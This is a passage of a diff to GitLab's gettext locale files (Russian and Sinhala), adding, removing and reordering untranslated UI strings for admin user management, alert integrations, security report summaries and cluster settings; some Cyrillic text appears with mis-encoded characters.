msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32679,6 +33403,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr "проекты"
@@ -32734,6 +33461,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr "КритичеÑкий"
@@ -32746,9 +33476,15 @@ msgstr "ИнформациÑ"
msgid "severity|Low"
msgstr "Ðизкий"
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr "Средний"
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32797,9 +33533,6 @@ msgstr "%{slash_command} обновит Ñумму потраченного вр
msgid "ssh:"
msgstr "ssh:"
-msgid "started"
-msgstr "запущено"
-
msgid "started a discussion on %{design_link}"
msgstr "начата диÑкуÑÑÐ¸Ñ Ð¿Ð¾ %{design_link}"
@@ -32830,11 +33563,11 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
-msgstr "ÑинтакÑÐ¸Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð»ÑŒÐ½Ñ‹Ð¹"
+msgid "syntax is correct."
+msgstr ""
-msgid "syntax is incorrect"
-msgstr "ÑинтакÑÐ¸Ñ Ð½ÐµÐ¿Ñ€Ð°Ð²Ð¸Ð»ÑŒÐ½Ñ‹Ð¹"
+msgid "syntax is incorrect."
+msgstr ""
msgid "tag name"
msgstr "название тега"
@@ -32842,6 +33575,9 @@ msgstr "название тега"
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr "Ñледующее(ие) обÑуждение(Ñ)"
@@ -32851,6 +33587,9 @@ msgstr "Ñтот документ"
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr "чтобы помочь вашим учаÑтникам взаимодейÑтвовать Ñффективнее!"
@@ -32923,6 +33662,13 @@ msgstr "проÑмотреть бинарные данные"
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/si_LK/gitlab.po b/locale/si_LK/gitlab.po
index 836260e1ac4..6b3f842ac61 100644
--- a/locale/si_LK/gitlab.po
+++ b/locale/si_LK/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: si-LK\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:43\n"
+"PO-Revision-Date: 2020-12-03 08:12\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
